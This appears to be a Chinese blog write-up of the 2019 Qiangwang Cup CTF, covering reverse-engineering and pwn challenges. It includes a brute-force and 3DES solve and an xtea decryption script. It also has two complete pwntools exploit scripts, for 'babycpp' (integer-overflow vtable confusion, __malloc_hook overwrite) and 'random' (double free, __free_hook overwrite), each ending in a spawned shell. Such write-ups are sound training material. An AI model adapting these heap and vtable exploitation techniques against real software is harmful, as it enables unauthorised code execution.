- 2018 铁三东北赛区之 aleph1 rbp 栈迁移
- return to dl resolve 利用 i386 roputils 库
- 提权读写空指针 利用中断门提权并挂载物理页
- RCTF2015 之 welpwn 64位构造 ROP 过掉 00 截断
- XDCTF2015 之 pwn200 DynELF 实现无 libc 利用
- pwnable.tw 之 hacknote uaf 利用
- pwnable.kr 之 unlink 堆还是栈?
- pwnable.kr 之 uaf 虚表利用
- 360 春秋杯之 smallest SROP 利用
- 网鼎杯 Pwn 之 GUESS ssp leak + environ 泄露
- 32 位 fmtstr 漏洞利用 记一 32 位格式化字符串漏洞利用
- 网鼎杯 Pwn 之 babyheap unlink+uaf+fastbin attack
- 网鼎杯 Pwn 之 blind _IO_FILE 利用
- 网鼎杯 Pwn 之 pesp 多方法解题
- House of orange 无 free 的堆利用
- 2018 湖湘杯 Reverse 之 Replace
- 南邮 NCTF 2018 之 smallbug2
- 铁三 2018 全国总决赛之 littlenote
- 铁三 2018 全国总决赛之 bookstore
- 铁三 2018 全国总决赛之 myhouse
- pwnable.tw 之 un3xp10itabl3
- pwnable.tw 之 D3-a5lr
- NCTF 2018 之 homura
- 2019 西湖论剑 writeup
- 2019 强网杯 writeup 之 PWN+Reverse 部分
- 西湖论剑线下个人赛 writeup pwn 部分
- 关于 smallbin 的利用
- 春秋杯网络安全公益联赛 BFnote 出题小结
- easy_unicorn 基于 unicorn 的沙盒逃逸
- Kernel Pwn gnote - TokyoWesterns CTF 2019
2019 强网杯 writeup 之 PWN+Reverse 部分
Reverse
JustRe
1.程序主要逻辑:
输入为26个字符,过两个check即可得到flag:
2.check1:
把前8个字符转成4字节16进制:“12345678” ---> 0x12345678
同理下面代码不贴出来了,把第9、10个字符同样转成1字节16进制。
接下来是一系列sse指令操作,伪代码中v21是输入的第9-10位,v9是第1-8位
这段代码是实质是 根据输入v21与v9 把0x405018处的0x40字节解密
接下来是一个循环操作:
v3是输入的1-8位,v11是9-10位,根据v3与v11 将0x405058处8个dword(0x20)的数据依次解密。
上面那些操作实际上完成了对0x405018-0x405078一共0x60字节数据的解密操作。
然后就是比较了,将0x405018与0x404148处的前0x60字节数据进行比较,若相同就将0x404148处的数据copy入0x405018
这就是第一个check,将代码自修改,为第二个check做准备。
Py对上面的循环 v3与v11约束条件爆破,得到输入的前10位
loc_405058=(0x1e47913f,0x1e87963c,0xfa0b0acd,0x035b0958,0xf5e74cf4,0xfa1261dc,0x854b2f05,0xf852ed82)
loc_404188=(0x24448840,0x24848d4c,0x000001fc,0x0f50006a,0x1c244411,0x000f58e8,0x8d406a00,0x02482484)
flag=0x10
table = '0123456789'
for i1 in (table):
print i1
for i2 in (table):
print "eee= " +i2
for i3 in table:
for i4 in table:
for i5 in table:
for i6 in table:
for i7 in table:
for i8 in table:
for i9 in table:
for i10 in table:
tmp = i1+i2+i3+i4+i5+i6+i7+i8
ReR = int(tmp,16)
ReL = int((i9 + i10),16)
for i in range(8):
if ( (flag+ReR)^((0x1010101 * ReL +loc_405058[i])&0xffffffff)== loc_404188[i]):
flag=flag+1
else:
flag=0x10
break
if (flag==0x18):
print "flag : " +i1+i2+i3+i4+i5+i6+i7+i8+i9+i10
得到flag前10位 1324220819
3.check2
IDA 现在无法反编译sub_4018A0()为伪代码,可以用winhex直接修改exe,手动把 sub_4018A0() 处的字节覆盖为新函数的字节。
再反编译
对输入分组 8字节一组 补齐24字节,填充模式为:PKCS5 (padding的字节数目为8-(x%8))
进行了根据经验有点像des加密,多次des加密,猜测是3des加密。
然后加密结果与 507ca9e68709cefa20d50dcf90bb976c9090f6b07ba6a4e8 比较(后面8字节为填充字节的加密结果)
动态调试时获取的192位的密钥 AFSAFCEDYCXCXACNDFKDCQXC
在线解密
得到后16位输入 0dcc509a6f75849b
再加上前10位 flag = 13242208190dcc509a6f75849b
bingo
webassembly
在本地搭了一个www服务器动态调试,使用了WABT: The WebAssembly Binary Toolkit 反编译wasm文件找到main函数在func16
func15为加密与验证函数,在里面得出flag为38位
常量delta=0x9e3779b9猜测是xtea加密
将明文前32位分四组迭代了32次分别进行xtea加密,动态调试分析到key=[0,0,0,0] 最后结果与固定常量异或求和。
Py脚本:
key = [0,0,0,0]
def xtea(rounds,v,key):
v0 = v[0]
v1 = v[1]
delta = 0x9e3779b9
sum = delta*rounds
sum = sum & 0xffffffff
for i in range(rounds):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3])
v1 = v1 & 0xffffffff
sum -= delta
sum = sum & 0xffffffff
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3])
v0 = v0 & 0xffffffff
v[0] = v0
v[1] = v1
data = [183,-1,28,-19,30,11,115,8,122,-33,-78,29,-83,-22,-26,-96,-94,83, 23,-110,58,63,-16,-58,-6,68,-40,-98,82, 123,-128,48,98,98,99,98,57,125]
#print len(data)
for i in range(len(data)):
data[i] = data[i] & 0xff
cipher = []
for i in range(0,len(data)-9,4):
data2 = data[i]<<0
data2 = data2 | (data[i+1]<<8)
data2 = data2 | (data[i+2]<<16)
data2 = data2 | (data[i+3]<<24)
cipher.append(data2)
flag = ''
for i in range(0,len(cipher),2):
de = []
de.append(cipher[i])
de.append(cipher[i+1])
xtea(32,de,key)
for j in range(0,len(de)):
flag += hex(de[j])[2:-1].decode('hex')[::-1]
for i in range(len(data)-6,len(data)):
flag += chr(data[i])
print flag
Pwn
babycpp
有两种类型可以选择创建,一种str,一种int
分析出的结构体
struct Node{
void * vtable;
char hash[16]; // init -> "\x00"
_QWORD size; // init -> 0x10
_QWORD *content; // init -> malloc(0x80)
}
struct obj{
char * data
_QWORD size;
}
该程序在update_hash处,存在漏洞点。
unsigned __int64 __fastcall update_hash(Node *a1)
{
int offset; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
int i; // [rsp+18h] [rbp-18h]
int v5; // [rsp+1Ch] [rbp-14h]
char hash[8]; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
memset(hash, 0, 8uLL);
printf("Input idx:", 0LL);
scanf("%u", &offset);
printf("Input hash:");
v5 = read(0, hash, 0x10uLL);
v3 = abs(offset) % 15;
for ( i = 0; i < v5; ++i )
{
if ( v3 + i == 0x10 )
v3 = 0;
a1->hash[v3 + i] = hash[i];
}
return __readfsqword(0x28u) ^ v7;
}
abs(offset) % 15 语句是为了获取用户输入的偏移量,又防止用户输入超长度偏移量进行溢出攻击。但offset如果设置0x80000000时,当计算绝对值,变成正数之后,存在整数溢出,这条语句执行的结果就变为0xfffffff8,突破了原有的限制,可以进行向上溢出,溢出对象的vtable位置。通过这个漏洞可以将对象的vtable地址进行修改。
利用方式:
1.类型混淆,将str类型对象的vtable改成int类型的vtable,后3byte不同,1/16的正确几率。
2.str转 int 的vtable后 ,调用int对象的show函数可泄露content中的堆地址。
3.调用int_set,更改conten中的堆地址为 含有vtable地址的堆地址,再将对象int转换回str,调用str对象的show函数 泄露vtable地址,并计算出got表地址。
4.将str转int,调用int_set,在content中伪造obj结构(void *data=malloc_hook,QWORD size=0x8)
,再在content中添加一指针指向该伪造的结构。再将int转str,调用str_set,设置content中的那个指针(指向伪造的obj结构),实现往malloc_hook写one_gadget.
EXP:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./babycpp")
libc = ELF('./libc-2.27.so')
one_off=0x4f322
setvbuf_off=libc.symbols['setvbuf']
malloc_hook_off=libc.symbols['__malloc_hook']
def g(p):
gdb.attach(p)
raw_input()
def new_str():
p.recvuntil("choice:")
p.sendline(str(0))
p.recvuntil("choice:")
p.sendline(str(2))
def set_int(hash, idx, val):
p.recvuntil("choice:")
p.sendline(str(2))
p.recvuntil("hash:")
p.send(p64(hash))
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("val:")
p.sendline(hex(val))
def show(hash, idx):
p.recvuntil("choice:")
p.sendline(str(1))
p.recvuntil("hash:")
p.send(p64(hash))
p.recvuntil("idx:")
p.sendline(str(idx))
def set_str(hash, idx, size, content, is_new=True):
p.recvuntil("choice:")
p.sendline(str(2))
p.recvuntil("hash:")
p.send(p64(hash))
p.recvuntil("idx:")
p.sendline(str(idx))
if is_new:
p.recvuntil("obj:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(content)
else:
p.recvuntil("content:")
p.send(content)
def update_hash(old, idx, content):
p.recvuntil("choice:")
p.sendline(str(3))
p.recvuntil("hash:")
p.send(p64(old))
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("hash:")
p.send(content)
## leak heap address
new_str()
set_str(0, 0, 0x10, '1'*0x10)
update_hash(0, 0x80000000, '\xe0\x5c') #change to int
show(0, 0)
p.recvuntil('The value in the array is ')
heap_addr = int('0x' + p.recv(12), 16)
print "heap_addr= "+hex(heap_addr)
## leak vtable address -> leak got address
heap_bin=heap_addr-0xc0
set_int(0, 0, heap_bin)
update_hash(0, 0x80000000, '\x00\x5d') #change to str
show(0, 0)
p.recvuntil('Content:')
vtable_addr = u64(p.recv(6).ljust(0x8,"\x00"))
print "vtable_addr= " +hex(vtable_addr)
got_addr=vtable_addr+0x2011E0
print "got_addr= " + hex(got_addr)
## leak libc address
update_hash(0, 0x80000000, '\xe0\x5c') #change to int
heap_bin=heap_addr-0xc0+8
set_int(0, 0, heap_bin)
update_hash(0, 0x80000000, '\x00\x5d') #change to str
update_hash(0, 0, p64(got_addr))
show(got_addr,0)
p.recvuntil('Content:')
libc_addr = u64(p.recv(6).ljust(0x8,"\x00"))-setvbuf_off
print "libc= " +hex(libc_addr)
malloc_hook=libc_addr+malloc_hook_off
one=libc_addr+one_off
## set content -> fake obj heap // write one_gadget in __malloc_hook
update_hash(got_addr,0,p64(0))
update_hash(0, 0x80000000, '\xe0\x5c') #change to int
set_int(0, 0, malloc_hook)
set_int(0, 1, 0x8)
set_int(0, 2, heap_addr-0x90)
update_hash(0, 0x80000000, '\x00\x5d') #change to str
set_str(0, 2, 0, p64(one), is_new=False)
## getshell
p.recvuntil("choice:")
p.sendline(str(0))
p.recvuntil("choice:")
p.sendline(str(2))
p.interactive()
random
这个程序难在逆向,它的结构略复杂,逻辑非常绕,不容易找到利用点。
源程序和我分析并标记出的symbols见https://github.com/yxshyj/project/tree/master/pwn/random
1.预测rand
首先为了方便我们后续理清楚程序逻辑,应该做的就是预测rand,该程序中种子是固定0,所以每次的随机数都是可预测的 ,代码如下
int i, tmp;
char *str[4] = {"add", "update", "delete", "view"};
srand(0);
for(i = 0; i < 50; i++)
{
tmp = rand() % 4;
printf("%d : %s\n", i + 1, str[tmp]);
}
结果:
1 : view
2 : delete
3 : update
4 : view
5 : update
6 : view
7 : delete
8 : add
9 : update
10 : update
11 : delete
12 : view
13 : delete
14 : view
15 : view
16 : delete
17 : add
18 : delete
19 : add
20 : add
21 : view
22 : add
23 : view
24 : update
25 : delete
26 : delete
27 : delete
28 : view
29 : view
30 : view
31 : update
32 : delete
33 : delete
34 : delete
35 : update
36 : view
37 : update
38 : add
39 : view
40 : delete
41 : update
42 : update
43 : update
44 : view
45 : add
46 : update
47 : delete
48 : add
49 : view
50 : delete
2.分析出的结构体
struct NODE{
NODE *next_node;
void *func_ptr;
long long flag;
}
3.关键函数分析
add_node函数:单向的节点插入,head指向刚插入的节点。
void *__fastcall add_node(__int64 a1, int a2)
{
NODE *node;
node = (NODE *)calloc(1uLL, 0x18uLL);
node->flag = a2;
node->func_ptr = a1;
node->next_node = head;
head = node;
return 0;
}
程序的核心函数我暂且叫它 call_list 函数:从head节点依次释放掉链表中节点,之后call节点里面的函数指针。
_QWORD *__fastcall call_list(int a1)
{
_QWORD *result;
NODE *ptr;
NODE *next;
NODE *v4;
void (__fastcall *v5)(NODE *);
if ( head )
{
ptr = (NODE *)head;
v4 = (NODE *)head;
do
{
while ( ptr->flag != a1 )
{
v4 = ptr;
result = (_QWORD *)ptr->next_node;
ptr = (NODE *)ptr->next_node;
if ( !ptr )
return result;
}
v5 = (void (__fastcall *)(NODE *))ptr->func_ptr;
if ( ptr == (NODE *)head )
{
head = ptr->next_node;
v4 = (NODE *)head;
next = (NODE *)head;
}
else
{
v4->next_node = ptr->next_node;
next = (NODE *)ptr->next_node;
}
free(ptr);
v5(ptr); //call func_tr
ptr = next;
}
while ( next );
}
return 0;
}
功能函数add
int add()
{
char v0; // ST06_1
void *v1; // rax
char v2; // ST07_1
signed int i; // [rsp+8h] [rbp-8h]
puts("Do you want to add note?(Y/N)");
v0 = getchar();
LODWORD(v1) = getchar();
if ( v0 == 'Y' )
{
for ( i = 0; i <= 14; ++i )
{
v1 = (void *)chunk[2 * i];
if ( !v1 )
{
puts("Input the size of the note:");
LODWORD(v1) = sub_DE7();
if ( (signed int)v1 > 0 && (signed int)v1 <= 0x3F )
{
chunk[2 * i + 1] = (signed int)v1;
chunk[2 * i] = malloc((signed int)v1 + 1);
puts("Input the content of the note:");
sub_D61((_BYTE *)chunk[2 * i], chunk[2 * i + 1]);
puts("success!");
puts("Do you want to add another note, tomorrow?(Y/N)");
v2 = getchar();
LODWORD(v1) = getchar();
if ( v2 == 'Y' )
LODWORD(v1) = (unsigned __int64)add_node((__int64)add, 2);
}
return (signed int)v1;
}
}
}
else
{
v1 = &unk_2030E0;
--unk_2030E0;
}
return (signed int)v1;
}
4.漏洞点
1.main函数中,可以泄露栈上残留的程序基地址。
puts("Please input your name:");
read(0, name, 24uLL);
v3 = strdup(name);
srand(unk_203178);
set_run_func(sub_11D6, 1);
printf("How many days do you want to play this game, %s?\n", v3);
2.正常call_list函数调用完之后,链表会被清空,head会指向NULL,但是如果我们在执行add函数时,在最后一步add another note,这会导致一个结果:那就是call_list函数调用完之后,链表不为空,head指针会指向新添加的node,且该node的next指针 指向一个已经被释放的node。
如果我们再次循环add_node,再调用call_list,在清空链表的过程中就会造成 double_free.
3.由于我们之前预测了rand,我们可以预测输入对应的程序执行流程。根据这个,我们利用double free控制qword_203180
处的堆指针,改ptr为got表view()泄露libc,改ptr为free_hook再update()往free_hook写入one_gadget.
详细过程见exp
EXP
from pwn import *
#author : b0ldfrev
#blog : b0ldfrev.top
#context(os='linux', arch='amd64', log_level='debug')
p = process('./random')
elf = ELF('./random')
libc = ELF('./libc-2.23.so')
def g(p):
gdb.attach(p)
raw_input()
def add(size, content, another):
p.recvuntil('?(Y/N)\n')
p.sendline('Y')
p.recvuntil('Input the size of the note:\n')
p.sendline(str(size))
p.recvuntil('Input the content of the note:\n')
p.send(content)
p.recvuntil('Do you want to add another note, tomorrow?(Y/N)\n')
if(another):
p.sendline('Y')
else:
p.sendline('N')
def update(index, content):
p.recvuntil('?(Y/N)\n')
p.sendline('Y')
p.recvuntil('Input the index of the note:\n')
p.sendline(str(index))
p.recvuntil('Input the new content of the note:\n')
p.send(content)
def delete(index):
p.recvuntil('?(Y/N)\n')
p.sendline('Y')
p.recvuntil('Input the index of the note:\n')
p.sendline(str(index))
def view(index):
p.recvuntil('?(Y/N)\n')
p.sendline('Y')
p.recvuntil('Input the index of the note:\n')
p.sendline(str(index))
def no(num):
for i in range(int(num)):
p.recvuntil('?(Y/N)\n')
p.sendline('N')
## leak image_base_addr
p.recvuntil('Please input your name:\n')
p.send('a' * 8)
p.recvuntil('a' * 8)
image_base_addr = u64(p.recv(6).ljust(8, '\0')) - 0xb90
print 'image_base_addr: ' + hex(image_base_addr)
p.sendline('30')
## do double free
p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('8') # 8 add
add(17, '\n', True) # index 0
no(7)
p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('7') # 15 view
no(7 + 2)
## continue malloc to control
p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('2') # 17 add
add(0x21,'\n', False) # index 1 // fake_chunk->size
no(1)
p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('2') # 19 add
offset = 0x203180
add(17, p64(image_base_addr + offset+0x10) + '\n', False) ## index 2 // set double_free_chunk -> attack_address(qword_203180 +0x10)
no(1)
p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('1') # 20 add
add(17, "1111111\n", False) # index 3 // fake_chunk's next_chunk->size ,prevent error when free fake_chunk
## do some padding and free one chunk in order to align fast_bin to 10
p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('6')
no(6)
p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('1')
delete(0)
p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('1') # 28
no(1)
## malloc to (qword_203180 +0x10) and fill ptr into got
p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('10') # 38 add -> update -> view -> update -> delete -> delete -> delete -> update
add(17, p64(image_base_addr + elf.got['puts'])+p64(0x11) + '\n', False) # index 0
no(1)
## leak libc address and fill __free_hook into one_gadget
view(2)
libc_base_addr = u64(p.recv(6).ljust(8, '\0')) - libc.symbols['puts']
print 'libc_base_addr: ' + hex(libc_base_addr)
one_gadget=libc_base_addr+0x4526a
update(0, p64(libc_base_addr + libc.symbols['__free_hook'])+p64(0x11) + '\n')
no(3)
update(2, p64(one_gadget) + '\n')
## while free(node) ,get shell
p.interactive()
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论